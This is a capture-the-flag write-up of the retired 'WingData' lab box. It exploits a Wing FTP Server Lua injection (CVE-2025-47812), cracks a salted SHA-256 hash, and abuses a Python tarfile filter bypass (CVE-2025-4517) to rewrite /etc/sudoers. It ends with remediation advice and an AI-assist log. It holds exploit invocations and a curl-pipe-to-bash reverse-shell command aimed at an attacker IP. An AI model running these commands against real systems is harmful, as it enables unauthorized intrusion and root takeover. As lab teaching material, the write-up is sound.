Box info | OS: Linux (Debian 12) | Difficulty: Easy | Status: Retired Skills: Wing FTP Server Lua session injection, SHA-256 salt hash cracking, Python tarfile symlink/hardlink path traversal, VPN MTU troubleshooting Pwned: 2026-05-01

TL;DR

WingData serves a Wing FTP Server 7.4.3 web interface behind an Apache vhost (ftp.wingdata.htb). CVE-2025-47812 exploits a NULL-byte injection in the login username field — the crafted username is written to a session file that Lua then executes, achieving unauthenticated RCE. A practical snag: the VPN MTU of 1500 silently drops packets for responses larger than ~350 bytes; reducing to 1300 fixes it. With RCE as wingftp, reading user XML files (via base64 to avoid XML-in-console issues) yields a SHA-256+salt hash for the wacky account, which cracks to <REDACTED:CRED>. SSH as wacky gives the user flag. The only sudo rule runs a Python backup restore script with tarfile.extractall(filter="data") on attacker-writable input — CVE-2025-4517 abuses this filter’s symlink/hardlink chain bypass to write wacky ALL=(ALL) NOPASSWD: ALL into /etc/sudoers from root’s perspective, completing the box.

Attack chain

graph TD
    A[nmap: 22 + 80] --> B[Apache redirect → wingdata.htb / ftp.wingdata.htb]
    B --> C[VPN MTU 1500 drops large responses — fix with ifconfig mtu 1300]
    C --> D[ftp.wingdata.htb → Wing FTP Server v7.4.3]
    D --> E[CVE-2025-47812 Lua session injection → RCE as wingftp]
    E --> F[base64 /opt/wftpserver/Data/1/users/wacky.xml]
    F --> G[SHA-256+salt hash → hashcat mode 1410 → <REDACTED:CRED>]
    G --> H[SSH wacky → user flag]
    H --> I[sudo -l: python3 restore_backup_clients.py *]
    I --> J[CVE-2025-4517: tarfile filter=data symlink chain → overwrite /etc/sudoers]
    J --> K[sudo su → root flag]

Recon

1. Liveness check

$ ping -c 2 10.129.244.106
64 bytes from 10.129.244.106: icmp_seq=0 ttl=63 time=37ms

TTL 63 → Linux.

2. Port scan

$ nmap -sC -sV -p 22,80,443,8080,8443,2121,21 10.129.244.106
PORT   STATE    SERVICE  VERSION
22/tcp open     ssh      OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp open     http     Apache 2.4.66 (Debian)
21/tcp filtered ftp

The full -p- scan (run in background) confirms only ports 22 and 80 are open — 65,533 filtered.

3. VHost discovery + MTU problem

curl -sI http://10.129.244.106/
# Location: http://wingdata.htb/

Adding to /etc/hosts:

echo "10.129.244.106 wingdata.htb ftp.wingdata.htb" | sudo tee -a /etc/hosts

Problem: Requests to http://wingdata.htb/ hang for 3 minutes then Connection reset by peer. Requests to the IP directly return a 301 immediately.

Root cause: VPN interface MTU is 1500. Small responses (301 redirect, ~350 bytes) fit in a single packet and get through. Large responses (Wing FTP login page, ~12 KB) are fragmented and silently dropped by the VPN gateway.

Fix:

sudo ifconfig utun8 mtu 1300

After the MTU reduction, wingdata.htb responds with HTTP 200 and 12,492 bytes.

4. Wing FTP version fingerprint

The login page at http://ftp.wingdata.htb/login.html contains:

<title>Wing FTP Server - Web Client</title>
<!-- Version: 7.4.3 -->

Wing FTP Server 7.4.3 is vulnerable to CVE-2025-47812 (unauthenticated RCE via Lua session injection).

Foothold

CVE-2025-47812: Wing FTP NULL-byte Lua injection

Mechanism: Wing FTP Server writes the login username into a Lua session file. A NULL byte (%00) terminates the intended string, and everything after becomes raw Lua code that the server executes when it loads the session.

Using the public exploit (Exploit-DB 52347):

python3 52347.py -u http://ftp.wingdata.htb -c "id"
[+] UID extracted: d65e624ac7a62ff26ee3a441c8a7c998...
[+] Sending GET to http://ftp.wingdata.htb/dir.html
--- Command Output ---
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),100(users)

RCE as wingftp.

Dead end: reverse shell with special characters

python3 52347.py -u http://ftp.wingdata.htb -c "curl -s http://10.10.15.17:8888/rev.sh | bash &"

The & character in the command is interpreted as a POST form-parameter delimiter — the exploit doesn’t URL-encode the -c argument. The command executes only its truncated prefix.

Decision: Skip the reverse shell and work entirely through the command execution output.

Extracting credentials from Wing FTP user database

Listing users:

python3 52347.py -u http://ftp.wingdata.htb \
  -c "ls /opt/wftpserver/Data/1/users/"
# anonymous.xml  john.xml  maria.xml  steve.xml  wacky.xml

Direct cat of XML returns empty (XML special characters corrupt the output). Base64 encodes safely:

python3 52347.py -u http://ftp.wingdata.htb \
  -c "base64 /opt/wftpserver/Data/1/users/wacky.xml"

Decoded XML contains:

<UserName>wacky</UserName>
<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>

Wing FTP uses SHA-256(password + "WingFTP") — hashcat mode 1410:

hashcat -m 1410 \
  32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP \
  /usr/share/wordlists/rockyou.txt
# → <REDACTED:CRED>

SSH access

sshpass -p '<REDACTED:CRED>' ssh wacky@10.129.244.106
wacky@wingdata:~$ cat ~/user.txt
[REDACTED]

Privilege Escalation

Enumeration

wacky@wingdata:~$ sudo -l
User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

Reading the target script:

# /opt/backup_clients/restore_backup_clients.py
import tarfile, os, sys, re, argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE    = "/opt/backup_clients/restored_backups"

def main():
    # ...validates backup_path and staging_dir via regex...
    with tarfile.open(backup_path, "r") as tar:
        tar.extractall(path=staging_dir, filter="data")

Two critical facts:

  1. filter="data" in tarfile.extractall()vulnerable to CVE-2025-4517 in Python 3.12.x ≤ 3.12.10
  2. /opt/backup_clients/backups/ is writable by the wacky group: drwxrwx--- root wacky

Python’s filter="data" was intended to block path traversal in tar archives, but CVE-2025-4517 shows that a crafted chain of symlinks and hardlinks can still reach arbitrary paths outside the extraction directory.

The exploit technique:

  1. Create a deep chain of directories + symlinks that, when resolved, points outside the target directory (e.g., to /etc)
  2. Add a hardlink entry pointing to escape/sudoers (which resolves to /etc/sudoers via the chain)
  3. Add a regular file entry at the same path with the malicious content and mode=0440
  4. When tar extracts, the hardlink is created first (establishing the out-of-bounds link), then the file entry overwrites it through the hardlink → root writes to /etc/sudoers

Building and deploying the exploit:

# Create the malicious tar (on attacker machine)
python3 cve-2025-4517-poc.py
# → /tmp/backup_9999.tar created

# Transfer to target's writable backup directory
sshpass -p '<REDACTED:CRED>' scp cve-2025-4517-poc.py \
  wacky@10.129.244.106:/tmp/

sshpass -p '<REDACTED:CRED>' ssh wacky@10.129.244.106 \
  'python3 /tmp/cve-2025-4517-poc.py'
[+] Malicious tar created at /tmp/backup_9999.tar
[+] Tar planted at /opt/backup_clients/backups/backup_9999.tar
[+] Sudo trigger: sudo python3 restore_backup_clients.py -b backup_9999.tar -r restore_getsuga
[+] Extraction completed
[+] Exploit completed! Check with 'sudo -l' then 'sudo su'!
wacky@wingdata:~$ sudo -l
User wacky may run the following commands on wingdata:
    (ALL) NOPASSWD: ALL

wacky@wingdata:~$ sudo cat /root/root.txt
[REDACTED]

What’s actually broken

#VulnerabilitySeverityRoot Cause
1CVE-2025-47812: Wing FTP Lua session injectionCritical (CVSS 9.8)NULL-byte termination allows Lua code injection into session files executed server-side
2Weak Wing FTP password (SHA-256+static salt)HighStatic salt (WingFTP) means identical passwords produce identical hashes; dictionary attack trivial
3CVE-2025-4517: Python tarfile filter="data" bypassCritical (CVSS 9.1)Symlink/hardlink chain escapes extraction sandbox in Python 3.12.x ≤ 3.12.10
4wacky writes to the backup directory that root unpacksHighNo write-isolation; the user supplying the archive also has sudo access to extract it

Remediation (the boring half)

1. Patch Wing FTP Server to a version that fixes CVE-2025-47812. As a workaround, sanitize the username field server-side to reject NULL bytes and special Lua characters.

2. Upgrade Python to 3.12.11+ (CVE-2025-4517 fix) or 3.13+.

3. If staying on Python 3.12.x, use filter="tar" (strict POSIX) or implement manual member validation before extracting:

# Safe extraction with member validation
for member in tar.getmembers():
    if os.path.isabs(member.name) or ".." in member.name:
        raise ValueError(f"Unsafe tar entry: {member.name}")
tar.extractall(path=staging_dir)

4. Separate privilege boundaries: The user who can supply archives should never have sudo rights to execute a root process that extracts those same archives. Principle of least privilege at the architecture level.

Lessons learned

  • VPN MTU fragmentation silently breaks large HTTP responses. When a web service works over direct IP but hangs on the vhost, check packet sizes. Responses that fit in one MTU-1500 packet succeed; larger ones are fragmented and dropped by some VPN gateways. sudo ifconfig <vpn_iface> mtu 1300 fixes it immediately. Add mssfix 1300 to the OpenVPN config for persistence.

  • Base64-encode output when reading XML or binary files via command injection. Direct cat of XML files through a shell output channel often corrupts output because XML special characters (<, >, &) interact with HTML rendering, shell escaping, or output parsing. base64 /path/to/file produces ASCII-safe output.

  • Static salts defeat the purpose of salting. Wing FTP’s SHA-256(password + "WingFTP") means: (a) two users with the same password have the same hash, (b) rainbow tables for the fixed salt can be precomputed, (c) any cracked hash immediately applies to all Wing FTP installations worldwide using the same wordlist. Per-user random salts (stored alongside the hash) prevent all of this.

  • tarfile.extractall(filter="data") is not a complete sandbox. Python 3.12’s filter="data" was marketed as a safe default, but CVE-2025-4517 demonstrated that symlink/hardlink chains could still escape the extraction path. Trust the filter as defense-in-depth, not as a sole safety guarantee.

  • Write access to the input of a privileged process is equivalent to privilege escalation. If a non-privileged user controls what archives get extracted by a root process, that user controls what ends up in the filesystem. Audit every sudo rule that processes user-supplied files.

🤖 AI-assist log

Transparency over polish. This is exactly where Claude was in the loop on this box.

StepWhat I askedWhat Claude returnedWhat I changed
MTU diagnosis“curl to wingdata.htb hangs for 3 minutes then connection reset, but IP direct works instantly. What could cause this?”Immediately pointed to VPN MTU fragmentation. Explained that the 301 redirect (~350 bytes) fits in one packet while the full page (~12 KB) requires fragmentation, which some VPN gateways drop. Gave the ifconfig mtu 1300 fix.Used as-is — this was the correct diagnosis.
base64 XML read“Wing FTP XML file returns empty when cat’d through the exploit. How to get the content?”Suggested base64 /path/to/file to bypass XML special character issues.Used as-is.
CVE-2025-4517 explanation“Explain how the symlink/hardlink chain in CVE-2025-4517 escapes the filter=‘data’ sandbox.”Detailed the chain: deep symlink directory tree → escape symlink to target dir outside sandbox → hardlink to file in that escaped path → regular file entry overwrites via hardlink.Used directly for the writeup explanation.
MITRE mapping“Map the CVE-2025-4517 tarfile exploitation to MITRE techniques.”Suggested T1574 (Hijack Execution Flow) for the symlink manipulation leading to privilege escalation. Also suggested T1055 (Process Injection).Dropped T1055 — no process injection occurred. Kept T1574 and T1548.

What Claude got wrong: Nothing significant on technical content.
What Claude couldn’t do: Actually run hashcat or test the exploit. The MTU diagnosis was inferential (Claude hadn’t seen the VPN config).
Net assist value: High on MTU diagnosis (saved hours); high on CVE-2025-4517 mechanism explanation; medium on MITRE.

References